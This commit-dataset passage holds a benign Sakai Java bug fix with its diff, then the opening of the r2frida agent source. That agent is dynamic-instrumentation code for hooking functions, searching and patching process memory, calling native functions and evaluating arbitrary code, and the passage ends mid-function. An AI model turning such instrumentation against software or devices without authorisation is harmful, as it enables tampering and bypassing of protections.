A/sakai,zqian/sakai,zqian/sakai,whumph/sakai,noondaysun/sakai,wfuedu/sakai,tl-its-umich-edu/sakai,udayg/sakai,willkara/sakai,colczr/sakai,frasese/sakai,wfuedu/sakai,clhedrick/sakai,joserabal/sakai,clhedrick/sakai,ouit0408/sakai,hackbuteer59/sakai,duke-compsci290-spring2016/sakai,udayg/sakai,ktakacs/sakai,puramshetty/sakai,duke-compsci290-spring2016/sakai,frasese/sakai,tl-its-umich-edu/sakai,frasese/sakai,OpenCollabZA/sakai,wfuedu/sakai,kingmook/sakai,ktakacs/sakai,OpenCollabZA/sakai,whumph/sakai,introp-software/sakai,buckett/sakai-gitflow,joserabal/sakai,rodriguezdevera/sakai,rodriguezdevera/sakai,udayg/sakai,kwedoff1/sakai,tl-its-umich-edu/sakai,kingmook/sakai,pushyamig/sakai,bkirschn/sakai,conder/sakai,hackbuteer59/sakai,willkara/sakai,hackbuteer59/sakai,zqian/sakai,puramshetty/sakai,Fudan-University/sakai,surya-janani/sakai,puramshetty/sakai,clhedrick/sakai,bkirschn/sakai,udayg/sakai,ouit0408/sakai,pushyamig/sakai,conder/sakai,ktakacs/sakai,kingmook/sakai,whumph/sakai,rodriguezdevera/sakai,bkirschn/sakai | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.sakaiproject.portal.charon.velocity;
import org.apache.commons.collections.ExtendedProperties;
import org.apache.commons.lang.StringUtils;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.runtime.resource.Resource;
import org.apache.velocity.runtime.resource.loader.ResourceLoader;
import org.sakaiproject.component.cover.ComponentManager;
import org.sakaiproject.component.cover.ServerConfigurationService;
import org.sakaiproject.webapp.api.WebappResourceManager;
import java.io.InputStream;
import java.util.Date;
import java.util.HashMap;
/**
* Created with IntelliJ IDEA.
* User: jbush
* Date: 1/15/13
* Time: 2:15 PM
* To change this template use File | Settings | File Templates.
*/
public class LibraryWebappLoader extends ResourceLoader {
private static final long CACHE_EXPIRATION_IN_MILLIS = 60 * 1000;
private WebappResourceManager libraryWebappResourceManager;
protected HashMap templatePaths = null;
/**
* @param configuration the {@link ExtendedProperties} associated with this resource
* loader.
*/
@Override
public void init(ExtendedProperties configuration) {
rsvc.debug("WebappLoader : initialization starting.");
getLibraryWebappResourceManager();
/* init the template paths map */
templatePaths = new HashMap();
rsvc.debug("WebappLoader : initialization complete.");
}
/**
* Get an InputStream so that the Runtime can build a template with it.
*
* @param name name of template to get
* @return InputStream containing the template
* @throws org.apache.velocity.exception.ResourceNotFoundException
* if template not found in classpath.
*/
@Override
public synchronized InputStream getResourceStream(String name)
throws ResourceNotFoundException {
InputStream result = null;
if (name == null || name.length() == 0) {
throw new ResourceNotFoundException(
"WebappLoader : No template name provided");
}
/*
* since the paths always ends in '/', make sure the name never starts
* with one
*/
while (!name.startsWith("/")) {
name = "/" + name;
}
String adjustedName = adjustName(name);
Exception exception = null;
try {
result = getLibraryWebappResourceManager().getResourceAsStream(adjustedName);
/* save the path and exit the loop if we found the template */
if (result != null) {
templatePaths.put(name, new Date());
}
} catch (Exception e) { /* only save the first one for later throwing */
if (exception == null) {
exception = e;
}
}
/* if we never found the template */
if (result == null) {
String msg;
if (exception == null) {
msg = "WebappLoader : Resource '" + name + "' not found.";
} else {
msg = exception.getMessage();
} /* convert to a general Velocity ResourceNotFoundException */
throw new ResourceNotFoundException(msg);
}
return result;
}
private Date getCachedFileLastLoaded(String fileName) {
return (Date) templatePaths.get(fileName);
}
/**
* Checks to see if a resource has been deleted, moved or modified.
*
* @param resource Resource The resource to check for modification
* @return boolean True if the resource has been modified
*/
@Override
public boolean isSourceModified(Resource resource) {
// first, try getting the previously found file
String fileName = resource.getName();
Date fileLastLoaded = getCachedFileLastLoaded(fileName);
if (fileLastLoaded == null) {
return true;
}
if (new Date().getTime() - fileLastLoaded.getTime() > CACHE_EXPIRATION_IN_MILLIS) {
return true;
}
return false;
}
/**
* Checks to see when a resource was last modified
*
* @param resource Resource the resource to check
* @return long The time when the resource was last modified or 0 if the
* file can't be read
*/
@Override
public long getLastModified(Resource resource) {
String fileName = resource.getName();
Date fileLastLoaded = getCachedFileLastLoaded(fileName);
if (fileLastLoaded == null) {
return 0;
}
return fileLastLoaded.getTime();
}
public WebappResourceManager getLibraryWebappResourceManager() {
if (libraryWebappResourceManager == null) {
libraryWebappResourceManager =
(WebappResourceManager) ComponentManager.get("org.sakaiproject.webapp.api.WebappResourceManager.library");
}
return libraryWebappResourceManager;
}
/**
* adjust path to look in the skin folder inside the library webapp
* @param name
* @return
*/
public String adjustName(String name) {
//TODO look at current site, portal has not stored the placement state when we get called
// so we can't use any of the normal methods to determine what site we are in
String[] parts = name.split("/");
return "/skin/" + getSkin() + "/" + parts[parts.length - 1];
}
/**
* Do the getSkin, adjusting for the overall skin/templates for the portal.
*
* @return The skin
*/
protected String getSkin() {
String skin = ServerConfigurationService.getString("skin.default");
String templates = ServerConfigurationService.getString("portal.templates", "neoskin");
String prefix = ServerConfigurationService.getString("portal.neoprefix", "neo-");
// Don't add the prefix twice
if (StringUtils.equals("neoskin", templates) && !StringUtils.startsWith(skin, prefix)) {
skin = prefix + skin;
}
return skin;
}
}
| portal/portal-render-engine-impl/impl/src/java/org/sakaiproject/portal/charon/velocity/LibraryWebappLoader.java | /*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.sakaiproject.portal.charon.velocity;
import org.apache.commons.collections.ExtendedProperties;
import org.apache.velocity.exception.ResourceNotFoundException;
import org.apache.velocity.runtime.resource.Resource;
import org.apache.velocity.runtime.resource.loader.ResourceLoader;
import org.sakaiproject.component.cover.ComponentManager;
import org.sakaiproject.component.cover.ServerConfigurationService;
import org.sakaiproject.webapp.api.WebappResourceManager;
import java.io.InputStream;
import java.util.Date;
import java.util.HashMap;
/**
* Created with IntelliJ IDEA.
* User: jbush
* Date: 1/15/13
* Time: 2:15 PM
* To change this template use File | Settings | File Templates.
*/
public class LibraryWebappLoader extends ResourceLoader {
private static final long CACHE_EXPIRATION_IN_MILLIS = 60 * 1000;
private WebappResourceManager libraryWebappResourceManager;
protected HashMap templatePaths = null;
/**
* @param configuration the {@link ExtendedProperties} associated with this resource
* loader.
*/
@Override
public void init(ExtendedProperties configuration) {
rsvc.debug("WebappLoader : initialization starting.");
getLibraryWebappResourceManager();
/* init the template paths map */
templatePaths = new HashMap();
rsvc.debug("WebappLoader : initialization complete.");
}
/**
* Get an InputStream so that the Runtime can build a template with it.
*
* @param name name of template to get
* @return InputStream containing the template
* @throws org.apache.velocity.exception.ResourceNotFoundException
* if template not found in classpath.
*/
@Override
public synchronized InputStream getResourceStream(String name)
throws ResourceNotFoundException {
InputStream result = null;
if (name == null || name.length() == 0) {
throw new ResourceNotFoundException(
"WebappLoader : No template name provided");
}
/*
* since the paths always ends in '/', make sure the name never starts
* with one
*/
while (!name.startsWith("/")) {
name = "/" + name;
}
String adjustedName = adjustName(name);
Exception exception = null;
try {
result = getLibraryWebappResourceManager().getResourceAsStream(adjustedName);
/* save the path and exit the loop if we found the template */
if (result != null) {
templatePaths.put(name, new Date());
}
} catch (Exception e) { /* only save the first one for later throwing */
if (exception == null) {
exception = e;
}
}
/* if we never found the template */
if (result == null) {
String msg;
if (exception == null) {
msg = "WebappLoader : Resource '" + name + "' not found.";
} else {
msg = exception.getMessage();
} /* convert to a general Velocity ResourceNotFoundException */
throw new ResourceNotFoundException(msg);
}
return result;
}
private Date getCachedFileLastLoaded(String fileName) {
return (Date) templatePaths.get(fileName);
}
/**
* Checks to see if a resource has been deleted, moved or modified.
*
* @param resource Resource The resource to check for modification
* @return boolean True if the resource has been modified
*/
@Override
public boolean isSourceModified(Resource resource) {
// first, try getting the previously found file
String fileName = resource.getName();
Date fileLastLoaded = getCachedFileLastLoaded(fileName);
if (fileLastLoaded == null) {
return true;
}
if (new Date().getTime() - fileLastLoaded.getTime() > CACHE_EXPIRATION_IN_MILLIS) {
return true;
}
return false;
}
/**
* Checks to see when a resource was last modified
*
* @param resource Resource the resource to check
* @return long The time when the resource was last modified or 0 if the
* file can't be read
*/
@Override
public long getLastModified(Resource resource) {
String fileName = resource.getName();
Date fileLastLoaded = getCachedFileLastLoaded(fileName);
if (fileLastLoaded == null) {
return 0;
}
return fileLastLoaded.getTime();
}
public WebappResourceManager getLibraryWebappResourceManager() {
if (libraryWebappResourceManager == null) {
libraryWebappResourceManager =
(WebappResourceManager) ComponentManager.get("org.sakaiproject.webapp.api.WebappResourceManager.library");
}
return libraryWebappResourceManager;
}
/**
* adjust path to look in the skin folder inside the library webapp
* @param name
* @return
*/
public String adjustName(String name) {
//TODO look at current site, portal has not stored the placement state when we get called
// so we can't use any of the normal methods to determine what site we are in
String[] parts = name.split("/");
return "/skin/" + getSkin() + "/" + parts[parts.length - 1];
}
/**
* Do the getSkin, adjusting for the overall skin/templates for the portal.
*
* @return The skin
*/
protected String getSkin() {
String skin = ServerConfigurationService.getString("skin.default");
String templates = ServerConfigurationService.getString("portal.templates", "neoskin");
String prefix = ServerConfigurationService.getString("portal.neoprefix", "neo-");
// Don't add the prefix twice
if ("neoskin".equals(templates) && !skin.startsWith(prefix)) skin = prefix + skin;
return skin;
}
}
| SAK-26209 use StringUtils so we don't NPE when using an empty neo prefix
git-svn-id: 14ad73a4fc9ccb6b14c5a9bdb407111d9f04bc7b@309441 66ffb92e-73f9-0310-93c1-f5514f145a0a
| portal/portal-render-engine-impl/impl/src/java/org/sakaiproject/portal/charon/velocity/LibraryWebappLoader.java | SAK-26209 use StringUtils so we don't NPE when using an empty neo prefix | <ide><path>ortal/portal-render-engine-impl/impl/src/java/org/sakaiproject/portal/charon/velocity/LibraryWebappLoader.java
<ide> package org.sakaiproject.portal.charon.velocity;
<ide>
<ide> import org.apache.commons.collections.ExtendedProperties;
<add>import org.apache.commons.lang.StringUtils;
<ide> import org.apache.velocity.exception.ResourceNotFoundException;
<ide> import org.apache.velocity.runtime.resource.Resource;
<ide> import org.apache.velocity.runtime.resource.loader.ResourceLoader;
<ide> String templates = ServerConfigurationService.getString("portal.templates", "neoskin");
<ide> String prefix = ServerConfigurationService.getString("portal.neoprefix", "neo-");
<ide> // Don't add the prefix twice
<del> if ("neoskin".equals(templates) && !skin.startsWith(prefix)) skin = prefix + skin;
<add> if (StringUtils.equals("neoskin", templates) && !StringUtils.startsWith(skin, prefix)) {
<add> skin = prefix + skin;
<add> }
<ide> return skin;
<ide> }
<ide> |
|
JavaScript | mit | b34089d3d091af7814186eb1bb8dc1100a3e3265 | 0 | nowsecure/r2frida,nowsecure/r2frida,nowsecure/r2frida | /* eslint-disable comma-dangle */
'use strict';
// TODO : implement tracelog eval var and dump trace info into this file
// this cant be done from the agent-side
const r2frida = require('./plugin'); // eslint-disable-line
const {stalkFunction, stalkEverything} = require('./stalker');
/* ObjC.available is buggy on non-objc apps, so override this */
const ObjCAvailable = ObjC && ObjC.available && ObjC.classes && typeof ObjC.classes.NSString !== 'undefined';
const JavaAvailable = Java && Java.available;
if (ObjCAvailable) {
var mjolner = require('mjolner');
}
const pointerSize = Process.pointerSize;
var offset = '0';
var suspended = false;
function numEval (expr) {
return new Promise((resolve, reject) => {
var symbol = DebugSymbol.fromName(expr);
if (symbol != 0) {
return resolve(symbol.address);
}
hostCmd('?v ' + expr).then(_ => resolve(_.trim())).catch(reject);
});
}
function evalNum (args) {
return new Promise((resolve, reject) => {
numEval(args.join(' ')).then(res => {
resolve(res);
});
});
}
const commandHandlers = {
'E': evalNum,
'/': search,
'/j': searchJson,
'/x': searchHex,
'/xj': searchHexJson,
'/w': searchWide,
'/wj': searchWideJson,
'/v1': searchValueImpl(1),
'/v2': searchValueImpl(2),
'/v4': searchValueImpl(4),
'/v8': searchValueImpl(8),
'/v1j': searchValueImplJson(1),
'/v2j': searchValueImplJson(2),
'/v4j': searchValueImplJson(4),
'/v8j': searchValueImplJson(8),
'?V': fridaVersion,
// '.': // this is implemented in C
'i': dumpInfo,
'e': evalConfig,
'i*': dumpInfoR2,
'ij': dumpInfoJson,
'db': breakpoint,
'db-': breakpointUnset,
'dbt': backtrace,
'dc': breakpointContinue,
'dcu': breakpointContinueUntil,
'dk': sendSignal,
'ii': listImports,
'ii*': listImportsR2,
'iij': listImportsJson,
'il': listModules,
'il.': listModulesHere,
'il*': listModulesR2,
'ilj': listModulesJson,
'iE': listExports,
'iE.': lookupSymbolHere,
'iEj': listExportsJson,
'iE*': listExportsR2,
'is': listSymbols,
'is.': lookupSymbolHere,
'isj': listSymbolsJson,
'is*': listSymbolsR2,
'isa': lookupSymbol,
'isa*': lookupSymbolR2,
'isaj': lookupSymbolJson,
'iEa': lookupExport,
'iEa*': lookupExportR2,
'iEaj': lookupExportJson,
'fD': lookupDebugInfo,
'fd': lookupAddress,
'fd.': lookupAddress,
'fd*': lookupAddressR2,
'fdj': lookupAddressJson,
'ic': listClasses,
'ic*': listClassesR2,
'icj': listClassesJson,
'ip': listProtocols,
'ipj': listProtocolsJson,
'dd': listFileDescriptors,
'dd-': closeFileDescriptors,
'dm': listMemoryRanges,
'dm*': listMemoryRangesR2,
'dmj': listMemoryRangesJson,
'dmp': changeMemoryProtection,
'dm.': listMemoryRangesHere,
'dmm': listMemoryMaps,
'dmh': listMallocRanges,
'dmh*': listMallocRangesR2,
'dmhj': listMallocRangesJson,
'dmhm': listMallocMaps,
'dma': allocSize,
'dmas': allocString,
'dmad': allocDup,
'dmal': listAllocs,
'dma-': removeAlloc,
'dp': getPid,
'dxc': dxCall,
'dx': dxHexpairs,
'dpj': getPid,
'dpt': listThreads,
'dptj': listThreadsJson,
'dr': dumpRegisters,
'dr*': dumpRegistersR2,
'drp': dumpRegisterProfile,
'dr8': dumpRegisterArena,
'drj': dumpRegistersJson,
'env': getOrSetEnv,
'envj': getOrSetEnvJson,
'dl': dlopen,
'dtf': traceFormat,
'dth': traceHook,
'dt': trace,
'dtj': traceJson,
'dt*': traceR2,
'dt.': traceHere,
'dt-': clearTrace,
'dtr': traceRegs,
'T': traceLogDump,
'T-': traceLogClear,
'T*': traceLog,
'dtS': stalkTraceEverything,
'dtSj': stalkTraceEverythingJson,
'dtS*': stalkTraceEverythingR2,
'dtSf': stalkTraceFunction,
'dtSfj': stalkTraceFunctionJson,
'dtSf*': stalkTraceFunctionR2,
'di': interceptHelp,
'di0': interceptRet0,
'di1': interceptRet1,
'di-1': interceptRet_1,
'pd': disasmCode,
'px': printHexdump,
'x': printHexdump,
'eval': evalCode,
};
const RTLD_GLOBAL = 0x8;
const RTLD_LAZY = 0x1;
const allocPool = {};
const pendingCmds = {};
const pendingCmdSends = [];
let sendingCommand = false;
function nameFromAddress (address) {
const at = DebugSymbol.fromAddress(ptr(address));
if (at) {
return at.name;
}
const module = Process.findModuleByAddress(address);
if (module === null) {
return null;
}
const imports = Module.enumerateImportsSync(module.name);
for (let imp of imports) {
if (imp.address.equals(address)) {
return imp.name;
}
}
const exports = Module.enumerateExportsSync(module.name);
for (let exp of exports) {
if (exp.address.equals(address)) {
return exp.name;
}
}
return address.toString();
}
function allocSize (args) {
const size = +args[0];
if (size > 0) {
const a = Memory.alloc(size);
return _addAlloc(a);
}
return 0;
}
function allocString (args) {
const theString = args.join(' ');
if (theString.length > 0) {
const a = Memory.allocUtf8String(theString);
return _addAlloc(a);
}
throw new Error('Usage: dmas [string]');
}
function allocDup (args) {
if (args.length < 2) {
throw new Error('Missing argument');
}
const addr = +args[0];
const size = +args[1];
if (addr > 0 && size > 0) {
const a = Memory.dup(ptr(addr), size);
return _addAlloc(a);
}
return 0;
}
function removeAlloc (args) {
if (args.length === 0) {
_clearAllocs();
} else {
for (let addr of args) {
_delAlloc(addr);
}
}
return '';
}
function listAllocs (args) {
return Object.values(allocPool)
.sort()
.map((x) => {
const bytes = Memory.readByteArray(x, 60);
const printables = _filterPrintable(bytes);
return `${x}\t"${printables}"`;
})
.join('\n');
}
function _delAlloc (addr) {
delete allocPool[addr];
}
function _clearAllocs () {
Object.keys(allocPool)
.forEach(addr => delete allocPool[addr]);
}
function _addAlloc (allocPtr) {
const key = allocPtr.toString();
if (!allocPtr.isNull()) {
allocPool[key] = allocPtr;
}
return key;
}
function dxCall (args) {
const nfArgs = [];
const nfArgsData = [];
for (var i = 1; i < args.length; i++) {
if (args[i].substring(0, 2) === '0x') {
nfArgs.push('pointer');
nfArgsData.push(ptr(args[i]));
} else if (args[i][0] === '"') {
// string.. join args
nfArgs.push('pointer');
const str = args[i].substring(1, args[i].length - 1);
const buf = Memory.allocUtf8String(str);
nfArgsData.push(buf);
// TODO: fix memory leak ?
} else if (+args[i] > 0) {
nfArgs.push('int');
nfArgsData.push(+args[i]);
} else {
nfArgs.push('pointer');
const address = Module.findExportByName(null, args[i]);
nfArgsData.push(ptr(address));
}
}
let address;
if (args[0].substring(0, 2) === '0x') {
address = ptr(args[0]);
} else {
address = Module.findExportByName(null, args[0]);
}
const fun = new NativeFunction(address, 'pointer', nfArgs);
switch (nfArgsData.length) {
/* eslint-disable indent */
case 0: return fun();
case 1: return fun(nfArgsData[0]);
case 2: return fun(nfArgsData[0], nfArgsData[1]);
case 3: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2]);
case 4: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2], nfArgsData[3]);
case 5: return fun(nfArgsData[0], nfArgsData[1], nfArgsData[2], nfArgsData[3], nfArgsData[4]);
/* eslint-enable indent */
}
return fun();
}
function dxHexpairs (args) {
return 'TODO';
}
function evalCode (args) {
const code = args.join(' ');
const result = eval(code); // eslint-disable-line
return (result !== undefined) ? result : '';
}
function printHexdump (lenstr) {
const len = +lenstr || 20;
return hexdump(ptr(offset), len) || '';
}
function disasmCode (lenstr) {
const len = +lenstr || 20;
return disasm(offset, len);
}
function disasm (addr, len, initialOldName) {
len = len || 20;
if (typeof addr === 'string') {
try {
addr = Module.findExportByName(null, addr);
if (!addr) {
throw new Error();
}
} catch (e) {
addr = ptr(offset);
}
}
addr = ptr('' + addr);
let oldName = initialOldName !== undefined ? initialOldName : null;
let lastAt = null;
let disco = '';
for (let i = 0; i < len; i++) {
const [op, next] = _tolerantInstructionParse(addr);
if (op === null) {
disco += `${addr}\tinvalid`;
addr = next;
continue;
}
const ds = DebugSymbol.fromAddress(addr);
const dsName = (ds.name === null || ds.name.indexOf('0x') === 0) ? '' : ds.name;
if ((ds.moduleName !== null || dsName !== null) && dsName !== oldName) {
disco += `;;; ${ds.moduleName} ${dsName}\n`;
oldName = dsName;
}
var comment = '';
const id = op.opStr.indexOf('#0x');
if (id !== -1) {
try {
const at = op.opStr.substring(id + 1).split(' ')[0].split(',')[0].split(']')[0];
if (op.opStr.indexOf(']') !== -1) {
try {
const p = Memory.readPointer(ptr(lastAt).add(at));
const str = Memory.readCString(p);
// console.log('; str:', str);
disco += '; str:' + str + '\n';
} catch (e) {
const p2 = Memory.readPointer(ptr(at));
const str2 = Memory.readCString(p2);
// console.log('; str2:', str2);
disco += '; str2:' + str2 + '\n';
console.log(e);
}
}
lastAt = at;
const di = DebugSymbol.fromAddress(ptr(at));
if (di.name !== null) {
comment = '\t; ' + (di.moduleName || '') + ' ' + di.name;
} else {
const op2 = Instruction.parse(ptr(at));
const id2 = op2.opStr.indexOf('#0x');
const at2 = op2.opStr.substring(id2 + 1).split(' ')[0].split(',')[0].split(']')[0];
const di2 = DebugSymbol.fromAddress(ptr(at2));
if (di2.name !== null) {
comment = '\t; -> ' + (di2.moduleName || '') + ' ' + di2.name;
}
}
} catch (e) {
// console.log(e);
}
}
// console.log([op.address, op.mnemonic, op.opStr, comment].join('\t'));
disco += [op.address, op.mnemonic, op.opStr, comment].join('\t') + '\n';
if (op.size < 1) {
// break; // continue after invalid
op.size = 1;
}
addr = addr.add(op.size);
}
return disco;
}
function sym (name, ret, arg) {
try {
return new NativeFunction(Module.findExportByName(null, name), ret, arg);
} catch (e) {
console.error(name, ':', e);
}
}
/* This is not available on Windows */
const _getenv = sym('getenv', 'pointer', ['pointer']);
const _setenv = sym('setenv', 'int', ['pointer', 'pointer', 'int']);
const _getpid = sym('getpid', 'int', []);
const _getuid = sym('getuid', 'int', []);
const _dlopen = sym('dlopen', 'pointer', ['pointer', 'int']);
const _dup2 = sym('dup2', 'int', ['int', 'int']);
const _fstat = Module.findExportByName(null, 'fstat')
? sym('fstat', 'int', ['int', 'pointer'])
: sym('__fxstat', 'int', ['int', 'pointer']);
const _close = sym('close', 'int', ['int']);
const _kill = sym('kill', 'int', ['int', 'int']);
if (Process.platform === 'darwin') {
// required for mjolner.register() to work on early instrumentation
dlopen(['/System/Library/Frameworks/Foundation.framework/Foundation']);
}
const traceListeners = [];
const config = {
'patch.code': true,
'search.in': 'perm:r--',
'search.quiet': false,
'stalker.event': 'compile',
'stalker.timeout': 5 * 60,
'stalker.in': 'raw',
};
const configHelp = {
'search.in': configHelpSearchIn,
'stalker.event': configHelpStalkerEvent,
'stalker.timeout': configHelpStalkerTimeout,
'stalker.in': configHelpStalkerIn,
};
const configValidator = {
'search.in': configValidateSearchIn,
'stalker.event': configValidateStalkerEvent,
'stalker.timeout': configValidateStalkerTimeout,
'stalker.in': configValidateStalkerIn,
};
function configHelpSearchIn () {
return `Specify which memory ranges to search in, possible values:
perm:--- filter by permissions (default: 'perm:r--')
current search the range containing current offset
heap search inside the heap allocated regions
path:pattern search ranges mapping paths containing 'pattern'
`;
}
function configValidateSearchIn (val) {
if (val === 'heap') {
return true;
}
const valSplit = val.split(':');
const [scope, param] = valSplit;
if (param === undefined) {
if (scope === 'current') {
return valSplit.length === 1;
}
return false;
}
if (scope === 'perm') {
const paramSplit = param.split('');
if (paramSplit.length !== 3 || valSplit.length > 2) {
return false;
}
const [r, w, x] = paramSplit;
return (r === 'r' || r === '-') &&
(w === 'w' || w === '-') &&
(x === 'x' || x === '-');
}
return scope === 'path';
}
function configHelpStalkerEvent () {
return `Specify the event to use when stalking, possible values:
call trace calls
ret trace returns
exec trace every instruction
block trace basic block execution (every time)
compile trace basic blocks once (this is the default)
`;
}
function configValidateStalkerEvent (val) {
return ['call', 'ret', 'exec', 'block', 'compile'].indexOf(val) !== -1;
}
function configHelpStalkerTimeout () {
return `Time after which the stalker gives up (in seconds). Defaults to 5 minutes,
set to 0 to disable.`;
}
function configValidateStalkerTimeout (val) {
return val >= 0;
}
function configHelpStalkerIn () {
return `Restrict stalker results based on where the event has originated:
raw stalk everywhere (the default)
app stalk only in the app module
modules stalk in app module and all linked libraries
`;
}
function configValidateStalkerIn (val) {
return ['raw', 'app', 'modules'].indexOf(val) !== -1;
}
function evalConfig (args) {
if (args.length === 0) {
return Object.keys(config)
.map(k => 'e ' + k + '=' + config[k])
.join('\n');
}
const kv = args[0].split(/=/);
if (kv.length === 2) {
if (config[kv[0]] !== undefined) {
if (kv[1] === '?') {
if (configHelp[kv[0]] !== undefined) {
return configHelp[kv[0]]();
}
console.error(`no help for ${kv[0]}`);
return '';
}
if (configValidator[kv[0]] !== undefined) {
if (!configValidator[kv[0]](kv[1])) {
console.error(`Invalid value for ${kv[0]}`);
return '';
}
}
config[kv[0]] = kv[1];
} else {
console.error('unknown variable');
}
return '';
}
return config[args[0]];
}
function dumpInfo () {
const properties = dumpInfoJson();
return Object.keys(properties)
.map(k => k + ' ' + properties[k])
.join('\n');
}
function dumpInfoR2 () {
const properties = dumpInfoJson();
return [
'e asm.arch=' + properties.arch,
'e asm.bits=' + properties.bits,
'e asm.os=' + properties.os
].join('\n');
}
function getR2Arch (arch) {
switch (arch) {
case 'ia32':
case 'x64':
return 'x86';
case 'arm64':
return 'arm';
}
return arch;
}
var breakpoints = {};
function breakpointUnset (args) {
if (args.length === 1) {
if (args[0] === '*') {
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
Interceptor.revert(ptr(bp.address));
}
breakpoints = {};
return 'All breakpoints removed';
}
const symbol = Module.findExportByName(null, args[0]);
const addr = (symbol !== null) ? symbol : ptr(args[0]);
const newbps = [];
let found = false;
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
// eslint-disable-next-line
if (args[0] === '*' || bp.address == addr) {
found = true;
console.log('Breakpoint reverted');
Interceptor.revert(ptr(bp.address));
} else {
newbps.push(bp);
}
}
if (!found) {
console.error('Cannot found any breakpoint matching');
}
breakpoints = {};
for (let bp of newbps) {
breakpoints[bp.address] = bp;
}
return '';
}
return 'Usage: db- [addr|*]';
}
function breakpointExist (addr) {
const bp = breakpoints['' + addr];
return bp && !bp.continue;
}
function sendSignal (args) {
const argsLength = args.length;
console.error('WARNING: Frida hangs when signal is sent. But at least the process doesnt continue');
if (argsLength === 1) {
const sig = +args[0];
_kill(_getpid(), sig);
} else if (argsLength === 2) {
const [pid, sig] = args;
_kill(+pid, +sig);
} else {
return 'Usage: \dk ([pid]) [sig]';
}
return '';
}
function breakpointContinueUntil (args) {
return new Promise((resolve, reject) => {
numEval(args[0]).then(num => {
setBreakpoint(num);
const shouldPromise = breakpointContinue();
if (typeof shouldPromise === 'object') {
shouldPromise.then(resolve).catch(reject);
} else {
resolve(shouldPromise);
}
}).catch(reject);
});
}
function breakpointContinue (args) {
if (suspended) {
suspended = false;
return hostCmd('=!dc');
}
let count = 0;
for (let k of Object.keys(breakpoints)) {
const bp = breakpoints[k];
if (bp && bp.stopped) {
count++;
bp.continue = true;
}
}
return 'Continue ' + count + ' thread(s).';
}
function breakpoint (args) {
if (args.length === 0) {
return JSON.stringify(breakpoints, null, ' ');
}
return new Promise((res, rej) => {
numEval(args[0]).then(num => {
setBreakpoint(num);
res(JSON.stringify(breakpoints, null, ' '));
}).catch(e => {
console.error(e);
rej(e);
});
});
}
function setBreakpoint (address) {
const symbol = Module.findExportByName(null, address);
const addr = (symbol !== null) ? symbol : ptr(address);
if (breakpointExist(addr)) {
return 'Cant set a breakpoint twice';
}
const addrString = '' + addr;
const bp = {
name: address,
stopped: false,
address: addrString,
continue: false,
handler: Interceptor.attach(addr, function () {
if (breakpoints[addrString]) {
breakpoints[addrString].stopped = true;
const showBacktrace = true;
if (showBacktrace) {
console.log(addr);
const bt = Thread.backtrace(this.context).map(DebugSymbol.fromAddress);
console.log(bt.join('\n\t'));
}
}
while (breakpointExist(addr)) {
Thread.sleep(1);
}
if (breakpoints[addrString]) {
breakpoints[addrString].stopped = false;
breakpoints[addrString].continue = false;
}
})
};
breakpoints[addrString] = bp;
}
function dumpInfoJson () {
return {
arch: getR2Arch(Process.arch),
bits: pointerSize * 8,
os: Process.platform,
pid: getPid(),
uid: _getuid(),
objc: ObjCAvailable,
java: JavaAvailable,
cylang: mjolner !== undefined,
};
}
function listModules () {
return Process.enumerateModulesSync()
.map(m => padPointer(m.base) + ' ' + m.name)
.join('\n');
}
function listModulesR2 () {
return Process.enumerateModulesSync()
.map(m => 'f lib.' + m.name + ' = ' + padPointer(m.base))
.join('\n');
}
function listModulesJson () {
return Process.enumerateModulesSync();
}
function listModulesHere () {
const here = ptr(offset);
return Process.enumerateModulesSync()
.filter(m => here.compare(m.base) >= 0 && here.compare(m.base.add(m.size)) < 0)
.map(m => padPointer(m.base) + ' ' + m.name)
.join('\n');
}
function listExports (args) {
return listExportsJson(args)
.map(({type, name, address}) => {
return [address, type[0], name].join(' ');
})
.join('\n');
}
function listExportsR2 (args) {
return listExportsJson(args)
.map(({type, name, address}) => {
return ['f', 'sym.' + type.substring(0, 3) + '.' + name, '=', address].join(' ');
})
.join('\n');
}
function listExportsJson (args) {
const modules = (args.length === 0) ? Process.enumerateModulesSync().map(m => m.path) : [args[0]];
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateExportsSync(moduleName));
}, []);
}
function listSymbols (args) {
return listSymbolsJson(args)
.map(({type, name, address}) => {
return [address, type[0], name].join(' ');
})
.join('\n');
}
function listSymbolsR2 (args) {
return listSymbolsJson(args)
.map(({type, name, address}) => {
return ['f', 'sym.' + type.substring(0, 3) + '.' + name, '=', address].join(' ');
})
.join('\n');
}
function listSymbolsJson (args) {
const modules = (args.length === 0) ? Process.enumerateModulesSync().map(m => m.path) : [args[0]];
return modules.reduce((result, moduleName) => {
return result.concat(Module.enumerateSymbolsSync(moduleName));
}, []);
}
function lookupDebugInfo (args) {
const o = DebugSymbol.fromAddress(ptr('' + args));
console.log(o);
}
/* function lookupDebugInfoR2 (args) {
const o = DebugSymbol.fromAddress(ptr('' + args));
console.log(o);
} */
function lookupAddress (args) {
if (args.length === 0) {
args = [ptr(offset)];
}
return lookupAddressJson(args)
.map(({type, name, address}) => [type, name, address].join(' '))
.join('\n');
}
function lookupAddressR2 (args) {
return lookupAddressJson(args)
.map(({type, name, address}) =>
['f', 'sym.' + name, '=', address].join(' '))
.join('\n');
}
function lookupAddressJson (args) {
